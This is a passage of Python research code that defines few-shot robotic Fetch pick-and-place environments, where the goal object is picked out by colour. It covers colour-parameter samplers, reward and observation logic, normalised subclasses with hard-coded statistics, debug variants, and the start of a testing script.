self.goal_color_centers[self.itr_ptr]\n spec_par = self.specific_params[tuple(color)][self.sub_itr_ptr]\n self.sub_itr_ptr += 1\n if self.sub_itr_ptr % self.num_random_samples_per_color == 0:\n self.sub_itr_ptr = 0\n self.itr_ptr += 1\n return spec_par, color\n\n\nclass _BaseParamsSampler(MetaTaskParamsSampler):\n def __init__(self, random=None, num_colors=50):\n super().__init__()\n if not isinstance(random, np.random.RandomState):\n random = np.random.RandomState(random)\n self._random = random\n\n # sample the goal color centers\n self.num_colors = num_colors\n self.goal_color_centers = self._random.uniform(-1.0, 1.0, size=(self.num_colors,3))\n\n def sample(self):\n idx = self._random.randint(0, self.num_colors)\n color = self.goal_color_centers[idx]\n return {'goal_color_center': color}, color\n \n def sample_unique(self, num):\n idxs = self._random.choice(self.num_colors, size=num, replace=False)\n return list(\n map(lambda color: ({'goal_color_center': color}, color), (self.goal_color_centers[idx] for idx in idxs))\n )\n\n def __iter__(self):\n # dangerous\n self.itr_ptr = 0\n return self\n \n def __next__(self):\n if self.itr_ptr == self.num_colors: raise StopIteration\n color = self.goal_color_centers[self.itr_ptr]\n self.itr_ptr += 1\n return {'goal_color_center': color}, color\n\n\nclass FewShotFetchEnv(few_shot_robot_env.FewShotRobotEnv):\n \"\"\"Superclass for all Fetch environments.\n I think easy fetch env is the one where you only need to lift up\n \"\"\"\n\n def __init__(\n self, model_path, n_substeps, gripper_extra_height, block_gripper,\n has_object, target_in_the_air, target_offset, obj_range, target_range,\n distance_threshold, initial_qpos, reward_type, goal_high_prob,\n min_goal_extra_height=0.0, max_goal_extra_height=0.45,\n min_dist_between_objs=0.1, same_color_radius=0.5,\n terminate_on_success=False\n ):\n \"\"\"Initializes a new Fetch environment.\n\n Args:\n model_path (string): path to the environments XML file\n n_substeps (int): number of substeps the simulation runs on every call to step\n gripper_extra_height (float): additional height above the table when positioning the gripper\n block_gripper (boolean): whether or not the gripper is blocked (i.e. not movable) or not\n has_object (boolean): whether or not the environment has an object\n target_in_the_air (boolean): whether or not the target should be in the air above the table or on the table surface\n target_offset (float or array with 3 elements): offset of the target\n obj_range (float): range of a uniform distribution for sampling initial object positions\n target_range (float): range of a uniform distribution for sampling a target\n distance_threshold (float): the threshold after which a goal is considered achieved\n initial_qpos (dict): a dictionary of joint names and values that define the initial configuration\n reward_type ('sparse' or 'dense'): the reward type, i.e. sparse or dense\n goal_high_prob ([0,1]): probability that the goal should be higher than the table\n \"\"\"\n self.gripper_extra_height = gripper_extra_height\n self.block_gripper = block_gripper\n self.has_object = has_object\n self.target_in_the_air = target_in_the_air\n self.target_offset = target_offset\n self.obj_range = obj_range\n self.target_range = target_range\n self.distance_threshold = distance_threshold\n self.reward_type = reward_type\n self.goal_high_prob = goal_high_prob\n self.min_goal_extra_height = min_goal_extra_height\n self.max_goal_extra_height = max_goal_extra_height\n self.min_dist_between_objs = min_dist_between_objs\n self.same_color_radius = same_color_radius\n\n few_shot_robot_env.FewShotRobotEnv.__init__(\n self, model_path=model_path, n_substeps=n_substeps, n_actions=4,\n initial_qpos=initial_qpos, terminate_on_success=terminate_on_success\n )\n\n\n # GoalEnv methods\n # ----------------------------\n\n def compute_reward(self, obs, goal, info):\n correct_obj_rel_to_goal = obs['obs'][3*self.correct_obj_idx:3*self.correct_obj_idx+3].copy()\n d = np.linalg.norm(correct_obj_rel_to_goal, axis=-1)\n if self.reward_type == 'sparse':\n return -(d > self.distance_threshold).astype(np.float32)\n else:\n return -d\n\n # RobotEnv methods\n # ----------------------------\n\n def _step_callback(self):\n if self.block_gripper:\n self.sim.data.set_joint_qpos('robot0:l_gripper_finger_joint', 0.)\n self.sim.data.set_joint_qpos('robot0:r_gripper_finger_joint', 0.)\n self.sim.forward()\n\n def _set_action(self, action):\n assert action.shape == (4,)\n action = action.copy() # ensure that we don't change the action outside of this scope\n pos_ctrl, gripper_ctrl = action[:3], action[3]\n\n pos_ctrl *= 0.05 # limit maximum change in position\n rot_ctrl = [1., 0., 1., 0.] # fixed rotation of the end effector, expressed as a quaternion\n gripper_ctrl = np.array([gripper_ctrl, gripper_ctrl])\n assert gripper_ctrl.shape == (2,)\n if self.block_gripper:\n gripper_ctrl = np.zeros_like(gripper_ctrl)\n action = np.concatenate([pos_ctrl, rot_ctrl, gripper_ctrl])\n\n # Apply action to simulation.\n utils.ctrl_set_action(self.sim, action)\n utils.mocap_set_action(self.sim, action)\n\n def _get_obs(self):\n # positions\n grip_pos = self.sim.data.get_site_xpos('robot0:grip')\n dt = self.sim.nsubsteps * self.sim.model.opt.timestep\n grip_velp = self.sim.data.get_site_xvelp('robot0:grip') * dt\n robot_qpos, robot_qvel = utils.robot_get_obs(self.sim)\n\n object0_pos = self.sim.data.get_site_xpos('object0')\n object1_pos = self.sim.data.get_site_xpos('object1')\n # gripper state\n object0_rel_pos = object0_pos - grip_pos\n object1_rel_pos = object1_pos - grip_pos\n \n gripper_state = robot_qpos[-2:]\n gripper_vel = robot_qvel[-2:] * dt # change to a scalar if the gripper is made symmetric\n \n obs = np.concatenate([\n self.goal - object0_pos, self.goal - object1_pos,\n object0_rel_pos, object1_rel_pos,\n self.object0_color, self.object1_color,\n gripper_state, gripper_vel\n ])\n\n return {\n 'obs': obs.copy(),\n 'obs_task_params': self.goal_color_center.copy()\n }\n\n def _viewer_setup(self):\n body_id = self.sim.model.body_name2id('robot0:gripper_link')\n lookat = self.sim.data.body_xpos[body_id]\n for idx, value in enumerate(lookat):\n self.viewer.cam.lookat[idx] = value\n self.viewer.cam.distance = 2.5\n self.viewer.cam.azimuth = 132.\n self.viewer.cam.elevation = -14.\n\n def _render_callback(self):\n # Visualize target.\n sites_offset = (self.sim.data.site_xpos - self.sim.model.site_pos).copy()\n site_id = self.sim.model.site_name2id('target0')\n self.sim.model.site_pos[site_id] = self.goal - sites_offset[0]\n self.sim.forward()\n\n def _reset_sim(self):\n self.sim.set_state(self.initial_state)\n\n # Randomize start position of object.\n if self.has_object:\n object0_xpos = self.initial_gripper_xpos[:2] + self.np_random.uniform(-self.obj_range, self.obj_range, size=2)\n object1_xpos = self.initial_gripper_xpos[:2] + self.np_random.uniform(-self.obj_range, self.obj_range, size=2)\n while np.linalg.norm(object0_xpos - object1_xpos) < self.min_dist_between_objs:\n object0_xpos = self.initial_gripper_xpos[:2] + self.np_random.uniform(-self.obj_range, self.obj_range, size=2)\n object1_xpos = self.initial_gripper_xpos[:2] + self.np_random.uniform(-self.obj_range, self.obj_range, size=2)\n\n object0_qpos = self.sim.data.get_joint_qpos('object0:joint')\n assert object0_qpos.shape == (7,)\n object0_qpos[:2] = object0_xpos\n\n object1_qpos = self.sim.data.get_joint_qpos('object1:joint')\n assert object1_qpos.shape == (7,)\n object1_qpos[:2] = object1_xpos\n\n self.sim.data.set_joint_qpos('object0:joint', object0_qpos)\n self.sim.data.set_joint_qpos('object1:joint', object1_qpos)\n\n self.sim.forward()\n return True\n\n def _sample_goal(self):\n goal = self.initial_gripper_xpos[:3] + self.np_random.uniform(-self.target_range, self.target_range, size=3)\n goal += self.target_offset\n goal[2] = self.height_offset\n if self.target_in_the_air and self.np_random.uniform() < self.goal_high_prob:\n goal[2] += self.np_random.uniform(self.min_goal_extra_height, self.max_goal_extra_height)\n return goal.copy()\n\n def _sample_color_within_radius(self, center, radius):\n x = self.np_random.normal(size=3)\n x /= np.linalg.norm(x, axis=-1)\n r = radius\n u = self.np_random.uniform()\n sampled_color = r * (u**(1.0/3.0)) * x + center\n return np.clip(sampled_color, -1.0, 1.0)\n \n def _sample_color_with_min_dist(self, color, min_dist):\n new_color = self.np_random.uniform(-1.0, 1.0, size=3)\n while np.linalg.norm(new_color - color, axis=-1) < min_dist:\n new_color = self.np_random.uniform(-1.0, 1.0, size=3)\n return new_color\n\n def reset(self, task_params=None, obs_task_params=None):\n '''\n task_params = {\n 'goal_color_center': np.array...\n 'other_color_center': np.array... (optional)\n 'specific_color_from_goal_radius': np.array (optional)\n 'specific_color_from_other_radius': np.array (optional)\n }\n\n obs_task_params = np.array([r,g,b]) describing the goal_color_center\n '''\n if task_params is None:\n self.goal_color_center = self.np_random.uniform(-1.0, 1.0, size=3)\n self.goal_specific_color = self._sample_color_within_radius(self.goal_color_center, self.same_color_radius)\n other_center = self._sample_color_with_min_dist(self.goal_color_center, self.same_color_radius)\n self.other_specific_color = other_center\n else:\n # handle the goal color\n self.goal_color_center = task_params['goal_color_center']\n if 'specific_color_from_goal_radius' in task_params:\n self.goal_specific_color = task_params['specific_color_from_goal_radius']\n assert np.linalg.norm(self.goal_color_center - self.goal_specific_color, axis=-1) < self.same_color_radius\n else:\n self.goal_specific_color = self._sample_color_within_radius(self.goal_color_center, self.same_color_radius)\n \n # handle the other color\n if 'specific_color_from_other_radius' in task_params:\n self.other_specific_color = task_params['specific_color_from_other_radius']\n else:\n if 'other_color_center' in task_params:\n self.other_specific_color = self._sample_color_within_radius(task_params['other_color_center'], self.same_color_radius)\n else:\n other_center = self._sample_color_with_min_dist(self.goal_color_center, self.same_color_radius)\n self.other_specific_color = other_center\n \n self.correct_obj_idx = self.np_random.randint(0, 2)\n if self.correct_obj_idx == 0:\n self.object0_color = self.goal_specific_color\n self.object1_color = self.other_specific_color\n else:\n self.object0_color = self.other_specific_color\n self.object1_color = self.goal_specific_color\n\n obs = super().reset() \n return obs\n \n def step(self, action):\n obs, reward, done, info = super().step(action)\n info['correct_obj_idx'] = self.correct_obj_idx\n\n # log some info so we can track whether failure was due\n # to no-op or due to incorrect choice\n yes_op = False\n for idx in [0,1]:\n obj_rel_to_goal = obs['obs'][3*idx:3*idx+3].copy()\n d = np.linalg.norm(obj_rel_to_goal, axis=-1)\n yes_op |= d < self.distance_threshold\n info['yes_op'] = yes_op\n\n return obs, reward, done, info\n \n @property\n def task_identifier(self):\n return tuple(self.goal_color_center)\n \n def task_id_to_obs_task_params(self, task_id):\n return np.array(task_id)\n\n def _is_success(self, obs):\n correct_obj_rel_to_goal = obs['obs'][3*self.correct_obj_idx:3*self.correct_obj_idx+3].copy()\n d = np.linalg.norm(correct_obj_rel_to_goal, axis=-1)\n return (d < self.distance_threshold).astype(np.float32)\n\n def _env_setup(self, initial_qpos):\n for name, value in initial_qpos.items():\n self.sim.data.set_joint_qpos(name, value)\n utils.reset_mocap_welds(self.sim)\n self.sim.forward()\n\n # Move end effector into position.\n gripper_target = np.array([-0.498, 0.005, -0.431 + self.gripper_extra_height]) + self.sim.data.get_site_xpos('robot0:grip')\n gripper_rotation = np.array([1., 0., 1., 0.])\n self.sim.data.set_mocap_pos('robot0:mocap', gripper_target)\n self.sim.data.set_mocap_quat('robot0:mocap', gripper_rotation)\n for _ in range(10):\n self.sim.step()\n\n # Extract information for sampling goals.\n self.initial_gripper_xpos = self.sim.data.get_site_xpos('robot0:grip').copy()\n if self.has_object:\n self.height_offset = self.sim.data.get_site_xpos('object0')[2]\n \n def log_statistics(self, test_paths):\n # compute proportion of episodes that were fully solved\n successes = []\n num_total_failures = 0\n num_failures_due_to_no_op = 0\n for path in test_paths:\n successes.append(np.sum([e_info['is_success'] for e_info in path['env_infos']]) > 0)\n if not successes[-1]:\n num_total_failures += 1\n if np.sum([e_info['yes_op'] for e_info in path['env_infos']]) == 0:\n num_failures_due_to_no_op += 1\n percent_solved = np.sum(successes) / float(len(successes))\n if num_total_failures == 0:\n percent_no_op_fail = 0\n else:\n percent_no_op_fail = num_failures_due_to_no_op / float(num_total_failures)\n\n # compute proportion of episodes that the arm reached for the right\n # object but was not necessarily able to pick it up\n # the way I am computing this is a proxy for this, but it will probably\n # be good enough\n all_reached_for_correct = []\n min_dist_to_cor = []\n min_cor_z = []\n for path in test_paths:\n cor_idx = path['env_infos'][0]['correct_obj_idx']\n incor_idx = 1-cor_idx\n \n # cor_rel_pos = np.array([obs_dict[6+3*cor_idx:9+3*cor_idx] for obs_dict in path['observations']])\n # incor_rel_pos = np.array([obs_dict[6+3*incor_idx:9+3*incor_idx] for obs_dict in path['observations']])\n # cor_z = np.array([obs_dict[3*cor_idx+2] for obs_dict in path['observations']])\n\n cor_rel_pos = np.array([obs_dict['obs'][6+3*cor_idx:9+3*cor_idx] for obs_dict in path['observations']])\n incor_rel_pos = np.array([obs_dict['obs'][6+3*incor_idx:9+3*incor_idx] for obs_dict in path['observations']]) \n cor_z = np.array([obs_dict['obs'][3*cor_idx+2] for obs_dict in path['observations']])\n\n # cor_min_norm = np.min(np.linalg.norm(cor_rel_pos, axis=-1))\n # incor_min_norm = np.min(np.linalg.norm(incor_rel_pos, axis=-1))\n # all_reached_for_correct.append(cor_min_norm < incor_min_norm)\n cor_sum_dist = np.sum(np.linalg.norm(cor_rel_pos[:,:2], axis=-1)[:-30])\n incor_sum_dist = np.sum(np.linalg.norm(incor_rel_pos[:,:2], axis=-1)[:-30])\n all_reached_for_correct.append(cor_sum_dist < incor_sum_dist)\n min_dist_to_cor.append(np.min(np.linalg.norm(cor_rel_pos, axis=-1)))\n min_cor_z.append(np.min(cor_z))\n percent_good_reach = np.sum(all_reached_for_correct) / float(len(all_reached_for_correct))\n\n return_dict = OrderedDict()\n return_dict['Percent_Good_Reach'] = percent_good_reach\n return_dict['Percent_Solved'] = percent_solved\n return_dict['Percent_NoOp_Fail'] = percent_no_op_fail\n return_dict['Avg Min Dist to Cor'] = np.mean(min_dist_to_cor)\n return_dict['Std Min Dist to Cor'] = np.std(min_dist_to_cor)\n return_dict['Avg Min Cor Z'] = np.mean(min_cor_z)\n return_dict['Std Min Cor Z'] = np.std(min_cor_z)\n return return_dict\n\n\nFEW_SHOT_ENV_XML_PATH = os.path.join(os.path.split(few_shot_robot_env.__file__)[0], 'assets', 'fetch', 'few_shot_pick_and_place.xml')\nclass BasicFewShotFetchEnv(FewShotFetchEnv, gym_utils.EzPickle):\n def __init__(self, reward_type='sparse', terminate_on_success=False):\n initial_qpos = {\n 'robot0:slide0': 0.405,\n 'robot0:slide1': 0.48,\n 'robot0:slide2': 0.0,\n 'object0:joint': [1.25, 0.53, 0.4, 1., 0., 0., 0.],\n 'object1:joint': [1.25, 0.53, 0.4, 1., 0., 0., 0.],\n }\n\n FewShotFetchEnv.__init__(\n self, FEW_SHOT_ENV_XML_PATH, has_object=True, block_gripper=False, n_substeps=20,\n gripper_extra_height=0.2, target_in_the_air=True, target_offset=0.0,\n obj_range=0.15, target_range=0.05, distance_threshold=0.05,\n initial_qpos=initial_qpos, reward_type=reward_type, goal_high_prob=1.0,\n min_goal_extra_height=0.15, max_goal_extra_height=0.2,\n min_dist_between_objs=0.1, same_color_radius=0.5,\n terminate_on_success=terminate_on_success\n )\n gym_utils.EzPickle.__init__(self)\n self._max_episode_steps = 65\n\n\nclass ScaledBasicFewShotFetchEnv(BasicFewShotFetchEnv):\n def __init__(self, reward_type='sparse'):\n self.obs_max = np.array([0.19673975, 0.19944288, 0.20234512, 0.19673975, 0.19944288,\n 0.20234512, 0.28635685, 0.29541265, 0.00469703, 0.28635685,\n 0.29541265, 0.00469703, 1.3, 1.3, 1.3,\n 1.3, 1.3, 1.3, 0.05095022, 0.05092848,\n 0.01019219, 0.01034121])\n self.obs_min = np.array([-1.94986926e-01, -1.97374503e-01, -3.04622497e-03, -1.94986926e-01,\n -1.97374503e-01, -3.04622497e-03, -3.00136632e-01, -2.82639213e-01,\n -2.17494754e-01, -3.00136632e-01, -2.82639213e-01, -2.17494754e-01,\n -1.3, -1.3, -1.3, -1.3,\n -1.3, -1.3, 2.55108763e-06, -8.67902630e-08,\n -9.42624227e-03, -9.39642018e-03])\n self.acts_max = np.array([0.24999889, 0.2499995 , 0.2499997 , 0.01499927])\n self.acts_min = np.array([-0.24999355, -0.24999517, -0.24999965, -0.01499985])\n self.SCALE = 0.99 \n super(ScaledBasicFewShotFetchEnv, self).__init__()\n\n\n def _normalize_obs(self, observation):\n observation = (observation - self.obs_min) / (self.obs_max - self.obs_min)\n observation *= 2 * self.SCALE\n observation -= self.SCALE\n return observation\n \n\n def _unnormalize_act(self, act):\n return self.acts_min + (act + self.SCALE)*(self.acts_max - self.acts_min) / (2 * self.SCALE)\n \n\n def reset(self, task_params=None, obs_task_params=None):\n obs = super().reset(task_params=task_params, obs_task_params=obs_task_params)\n obs['obs'] = self._normalize_obs(obs['obs'].copy())\n return obs\n\n\n def step(self, action):\n action = self._unnormalize_act(action.copy())\n obs, reward, done, info = super().step(action)\n obs['obs'] = self._normalize_obs(obs['obs'].copy())\n return obs, reward, done, info\n\n\nclass ZeroScaledFewShotFetchEnv(ScaledBasicFewShotFetchEnv):\n '''\n This is a debug env, do not use!\n '''\n def __init__(self):\n super().__init__()\n \n\n def reset(self):\n return super().reset(task_params={'goal_color_center': np.zeros(3)}, obs_task_params=np.zeros(3))\n\n\nclass ZeroUnscaledFewShotFetchEnv(BasicFewShotFetchEnv):\n '''\n This is a debug env, do not use!\n '''\n def __init__(self):\n super().__init__()\n \n\n def reset(self):\n return super().reset(task_params={'goal_color_center': np.zeros(3)}, obs_task_params=np.zeros(3))\n\n\nclass Scaled0p9BasicFewShotFetchEnv(BasicFewShotFetchEnv):\n def __init__(self, reward_type='sparse'):\n self.SCALE = 0.90\n self.obs_max = np.array([0.19673975, 0.19944288, 0.20234512, 0.19673975, 0.19944288,\n 0.20234512, 0.28635685, 0.29541265, 0.00469703, 0.28635685,\n 0.29541265, 0.00469703, 1.3, 1.3, 1.3,\n 1.3, 1.3, 1.3, 0.05095022, 0.05092848,\n 0.01019219, 0.01034121])\n self.obs_min = np.array([-1.94986926e-01, -1.97374503e-01, -3.04622497e-03, -1.94986926e-01,\n -1.97374503e-01, -3.04622497e-03, -3.00136632e-01, -2.82639213e-01,\n -2.17494754e-01, -3.00136632e-01, -2.82639213e-01, -2.17494754e-01,\n -1.3, -1.3, -1.3, -1.3,\n -1.3, -1.3, 2.55108763e-06, -8.67902630e-08,\n -9.42624227e-03, -9.39642018e-03])\n self.acts_max = np.array([0.24999889, 0.2499995 , 0.2499997 , 0.01499927])\n self.acts_min = np.array([-0.24999355, -0.24999517, -0.24999965, -0.01499985])\n super(Scaled0p9BasicFewShotFetchEnv, self).__init__()\n\n\n def _normalize_obs(self, observation):\n observation = (observation - self.obs_min) / (self.obs_max - self.obs_min)\n observation *= 2 * self.SCALE\n observation -= self.SCALE\n return observation\n \n\n def _unnormalize_act(self, act):\n return self.acts_min + (act + self.SCALE)*(self.acts_max - self.acts_min) / (2 * self.SCALE)\n \n\n def reset(self, task_params=None, obs_task_params=None):\n obs = super().reset(task_params=task_params, obs_task_params=obs_task_params)\n obs['obs'] = self._normalize_obs(obs['obs'].copy())\n return obs\n\n\n def step(self, action):\n action = self._unnormalize_act(action.copy())\n obs, reward, done, info = super().step(action)\n obs['obs'] = self._normalize_obs(obs['obs'].copy())\n return obs, reward, done, info\n\n\nclass ZeroScaled0p9FewShotFetchEnv(Scaled0p9BasicFewShotFetchEnv):\n '''\n This is a debug env, do not use!\n '''\n def __init__(self):\n super().__init__()\n \n\n def reset(self):\n return super().reset(task_params={'goal_color_center': np.zeros(3)}, obs_task_params=np.zeros(3))\n\n\nclass Scaled0p9LinearBasicFewShotFetchEnv(BasicFewShotFetchEnv):\n def __init__(self, reward_type='sparse', obs_max=None, obs_min=None, acts_max=None, acts_min=None, terminate_on_success=False):\n self.SCALE = 0.90\n self.obs_max = obs_max\n self.obs_min = obs_min\n self.acts_max = acts_max\n self.acts_min = acts_min\n # self.obs_max = np.array([0.22051651, 0.22935722, 0.20480309, 0.22051651, 0.22935722,\n # 0.20480309, 0.30151219, 0.29303502, 0.00444365, 0.30151219,\n # 0.29303502, 0.00444365, 1.3, 1.3, 1.3,\n # 1.3, 1.3, 1.3, 0.05099135, 0.05091496,\n # 0.01034575, 0.0103919 ])\n # self.obs_min = np.array([-1.98124936e-01, -2.04234846e-01, -8.51241789e-03, -1.98124936e-01,\n # -2.04234846e-01, -8.51241789e-03, -3.03874692e-01, -3.00712133e-01,\n # -2.30561716e-01, -3.03874692e-01, -3.00712133e-01, -2.30561716e-01,\n # -1.3, -1.3, -1.3, -1.3,\n # -1.3, -1.3, 2.55108763e-06, -8.67902630e-08,\n # -1.20198677e-02, -9.60486720e-03])\n # self.acts_max = np.array([0.3667496 , 0.3676551 , 0.37420813, 0.015])\n # self.acts_min = np.array([-0.27095875, -0.26862562, -0.27479879, -0.015])\n super(Scaled0p9LinearBasicFewShotFetchEnv, self).__init__(terminate_on_success=terminate_on_success)\n\n\n def _normalize_obs(self, observation):\n observation = (observation - self.obs_min) / (self.obs_max - self.obs_min)\n observation *= 2 * self.SCALE\n observation -= self.SCALE\n return observation\n \n\n def _unnormalize_act(self, act):\n return self.acts_min + (act + self.SCALE)*(self.acts_max - self.acts_min) / (2 * self.SCALE)\n \n\n def reset(self, task_params=None, obs_task_params=None):\n obs = super().reset(task_params=task_params, obs_task_params=obs_task_params)\n obs['obs'] = self._normalize_obs(obs['obs'].copy())\n return obs\n\n\n def step(self, action):\n action = self._unnormalize_act(action.copy())\n obs, reward, done, info = super().step(action)\n obs['obs'] = self._normalize_obs(obs['obs'].copy())\n return obs, reward, done, info\n\n\nclass StatsFor50Tasks25EachScaled0p9LinearBasicFewShotFetchEnv(Scaled0p9LinearBasicFewShotFetchEnv):\n def __init__(self, terminate_on_success=False):\n # obs_max = np.array([0.20873973, 0.21238721, 0.20497428, 0.20873973, 0.21238721,\n # 0.20497428, 0.29729787, 0.29597882, 0.00660929, 0.29729787,\n # 0.29597882, 0.00660929, 1.0, 1.0, 1.0,\n # 1.0, 1.0, 1.0, 0.05099425, 0.05097209,\n # 0.01045247, 0.01020353])\n # obs_min = np.array([-2.07733303e-01, -2.22872196e-01, -6.20862381e-03, -2.07733303e-01,\n # -2.22872196e-01, -6.20862381e-03, -3.02834854e-01, -3.18478521e-01,\n # -2.35453885e-01, -3.02834854e-01, -3.18478521e-01, -2.35453885e-01,\n # -1.0, -1.0, -1.0, -1.0,\n # -1.0, -1.0, 2.55108763e-06, -8.67902630e-08,\n # -1.12767104e-02, -1.15187468e-02])\n # acts_max = np.array([0.36385158, 0.36506858, 0.37287046, 0.015])\n # acts_min = np.array([-0.27378214, -0.27318582, -0.27457426, -0.015])\n \n # obs_max = np.array([0.19732151, 0.19501755, 0.2032467 , 0.19732151, 0.19501755,\n # 0.2032467 , 0.28952909, 0.27034638, 0.00461512, 0.28952909,\n # 0.27034638, 0.00461512, 1. , 1. , 1. ,\n # 1. , 1. , 1. , 0.05084346, 0.05089836,\n # 0.01020451, 0.01024073])\n # obs_min = np.array([-1.94163008e-01, -2.06672946e-01, -4.34817497e-03, -1.94163008e-01,\n # -2.06672946e-01, -4.34817497e-03, -2.57836261e-01, -3.02357607e-01,\n # -2.26000082e-01, -2.57836261e-01, -3.02357607e-01, -2.26000082e-01,\n # -1., -1., -1., -1.,\n # -1., -1., 2.55108763e-06, -8.67902630e-08,\n # -9.79891841e-03, -9.23147216e-03])\n # acts_max = np.array([0.36071754, 0.35800805, 0.37175567, 0.015])\n # acts_min = np.array([-0.26463221, -0.26663373, -0.27413371, -0.015])\n\n obs_max = np.array([0.20061923, 0.19781174, 0.20549539, 0.20061923, 0.19781174,\n 0.20549539, 0.29141252, 0.28891717, 0.00129714, 0.29141252,\n 0.28891717, 0.00129714, 1.0 , 1.0 , 1.0 ,\n 1.0 , 1.0 , 1.0 , 0.05096386, 0.05090749,\n 0.01046458, 0.01028522])\n obs_min = np.array([-1.83014661e-01, -2.07445100e-01, -4.79934195e-03, -1.83014661e-01,\n -2.07445100e-01, -4.79934195e-03, -2.89125464e-01, -2.96987424e-01,\n -2.30655094e-01, -2.89125464e-01, -2.96987424e-01, -2.30655094e-01,\n -1.0, -1.0, -1.0, -1.0,\n -1.0, -1.0, 2.55108763e-06, -8.67902630e-08,\n -1.11994283e-02, -9.10341004e-03])\n acts_max = np.array([0.36051396, 0.36032055, 0.37415428, 0.015])\n acts_min = np.array([-0.2696256 , -0.27399028, -0.27453274, -0.015])\n\n super().__init__(\n obs_max=obs_max,\n obs_min=obs_min,\n acts_max=acts_max,\n acts_min=acts_min,\n terminate_on_success=terminate_on_success\n )\n\n\nclass ZeroScaled0p9LinearFewShotFetchEnv(Scaled0p9LinearBasicFewShotFetchEnv):\n '''\n This is a debug env, do not use!\n '''\n def __init__(self):\n self.obs_max = np.array([0.22392513, 0.23576041, 0.2074778 , 0.22392513, 0.23576041,\n 0.2074778 , 0.32363979, 0.32648092, 0.0049561 , 0.32363979,\n 0.32648092, 0.0049561 , 1.3, 1.3, 1.3,\n 1.3, 1.3, 1.3, 0.05101674, 0.05100188,\n 0.01055062, 0.01049931])\n self.obs_min = np.array([-1.99576796e-01, -2.14964995e-01, -6.89937522e-03, -1.99576796e-01,\n -2.14964995e-01, -6.89937522e-03, -3.09594735e-01, -3.15771113e-01,\n -2.35295369e-01, -3.09594735e-01, -3.15771113e-01, -2.35295369e-01,\n -1.3, -1.3, -1.3, -1.3,\n -1.3, -1.3, 2.55108763e-06, -8.67902630e-08,\n -1.26888212e-02, -1.02645506e-02])\n self.acts_max = np.array([0.36875932, 0.36954177, 0.37465581, 0.015])\n self.acts_min = np.array([-0.27403988, -0.27340838, -0.2749071 , -0.015])\n super().__init__(obs_max=self.obs_max, obs_min=self.obs_min, acts_max=self.acts_max, acts_min=self.acts_min)\n \n\n def reset(self):\n return super().reset(task_params={'goal_color_center': np.zeros(3)}, obs_task_params=np.zeros(3))\n\n\n\nclass WrapAbsScaled0p9LinearBasicFewShotFetchEnv(BasicFewShotFetchEnv):\n def __init__(self, reward_type='sparse'):\n self.SCALE = 0.90\n self.obs_max = np.array([0.22691067, 0.24073516, 0.20616085, 0.22691067, 0.24073516,\n 0.20616085, 0.30655007, 0.31246556, 0.00573548, 0.30655007,\n 0.31246556, 0.00573548, 1.3, 1.3, 1.3,\n 1.3, 1.3, 1.3, 0.05101679, 0.05100176,\n 0.01049234, 0.01052882])\n self.obs_min = np.array([-2.07510251e-01, -2.21086958e-01, -3.47862349e-03, -2.07510251e-01,\n -2.21086958e-01, -3.47862349e-03, -3.12571681e-01, -3.14835529e-01,\n -2.17068484e-01, -3.12571681e-01, -3.14835529e-01, -2.17068484e-01,\n -1.3, -1.3, -1.3, -1.3,\n -1.3, -1.3, 0.00000000e+00, -8.67902630e-08,\n -1.23168940e-02, -1.09300949e-02])\n self.acts_max = np.array([0.36900074, 0.36956025, 0.37478169, 0.015])\n self.acts_min = np.array([-0.26874253, -0.27001242, -0.27486427, -0.015])\n\n super(WrapAbsScaled0p9LinearBasicFewShotFetchEnv, self).__init__(terminate_on_success=True)\n\n\n def _normalize_obs(self, observation):\n observation = (observation - self.obs_min) / (self.obs_max - self.obs_min)\n observation *= 2 * self.SCALE\n observation -= self.SCALE\n return observation\n \n\n def _unnormalize_act(self, act):\n return self.acts_min + (act + self.SCALE)*(self.acts_max - self.acts_min) / (2 * self.SCALE)\n \n\n def reset(self, task_params=None, obs_task_params=None):\n obs = super().reset(task_params=task_params, obs_task_params=obs_task_params)\n obs['obs'] = self._normalize_obs(obs['obs'].copy())\n return obs\n\n\n def step(self, action):\n action = self._unnormalize_act(action.copy())\n obs, reward, done, info = super().step(action)\n obs['obs'] = self._normalize_obs(obs['obs'].copy())\n return obs, reward, done, info\n\n\nclass WrapAbsZeroScaled0p9LinearFewShotFetchEnv(WrapAbsScaled0p9LinearBasicFewShotFetchEnv):\n '''\n This is a debug env, do not use!\n '''\n def __init__(self):\n super().__init__()\n \n\n def reset(self):\n return super().reset(task_params={'goal_color_center': np.zeros(3)}, obs_task_params=np.zeros(3))\n\n\n\nif __name__ == '__main__':\n # TESTING SCRIPT\n FEW_SHOT_ENV_XML_PATH = os.path.join(os.path.split(few_shot_robot_env.__file__)[0], 'assets', 'fetch', 'few_shot_pick_and_place.xml')\n initial_qpos = {\n 'robot0:slide0': 0.405,\n 'robot0:slide1': 0.48,\n 'robot0:slide2': 0.0,\n 'object0:joint': [1.25, 0.53, 0.4, 1., 0., 0., 0.],\n 'object1:joint': [1.25, 0.53, 0.4, 1., 0., 0., 0.],\n }\n env = FewShotFetchEnv(\n FEW_SHOT_ENV_XML_PATH, has_object=True, block_gripper=False, n_substeps=20,\n gripper_extra_height=0.2, target_in_the_air=True, target_offset=0.0,\n obj_range=0.15, target_range=0.01, distance_threshold=0.05,\n initial_qpos=initial_qpos, reward_type='sparse', goal_high_prob=1.0,\n min_goal_extra_height=0.15, max_goal_extra_height=0.2,\n min_dist_between_objs=0.1, same_color_radius=0.5\n )\n\n # while True:\n # print(env.reset())\n # for i in range(100): env.render()\n # # sleep(2)\n\n # test setting the colors\n for i in range(100):\n goal_color_center = np.random.uniform(-1.0, 1.0, size=3)\n obs = env.reset(task_params={'goal_color_center': goal_color_center})\n\n assert np.array_equal(goal_color_center, obs['obs_task_params'])\n correct = env.correct_obj_idx\n color_of_correct_obj = obs['obs'][12+3*correct:12+3*correct+3]\n assert np.linalg.norm(goal_color_center - color_of_correct_obj) < env.same_color_radius\n not_correct = 1-correct\n color_of_not_correct_obj = obs['obs'][12+3*not_correct:12+3*not_correct+3]\n assert np.linalg.norm(goal_color_center - color_of_not_correct_obj) > env.same_color_radius\n assert np.array_equal(env.task_identifier, goal_color_center)\n \n for j in range(5):\n obs = env.step(np.random.uniform(size=4))[0]\n assert np.array_equal(color_of_correct_obj, obs['obs'][12+3*correct:12+3*correct+3])\n assert np.array_equal(color_of_not_correct_obj, obs['obs'][12+3*not_correct:12+3*not_correct+3])\n assert np.array_equal(goal_color_center, obs['obs_task_params'])\n assert np.array_equal(env.task_identifier, goal_color_center)\n\n # compute average distance of goal center to distractor color\n d = []\n d_correct = []\n for i in range(1000):\n obs = env.reset()\n goal_color_center = env.task_identifier\n correct = env.correct_obj_idx\n 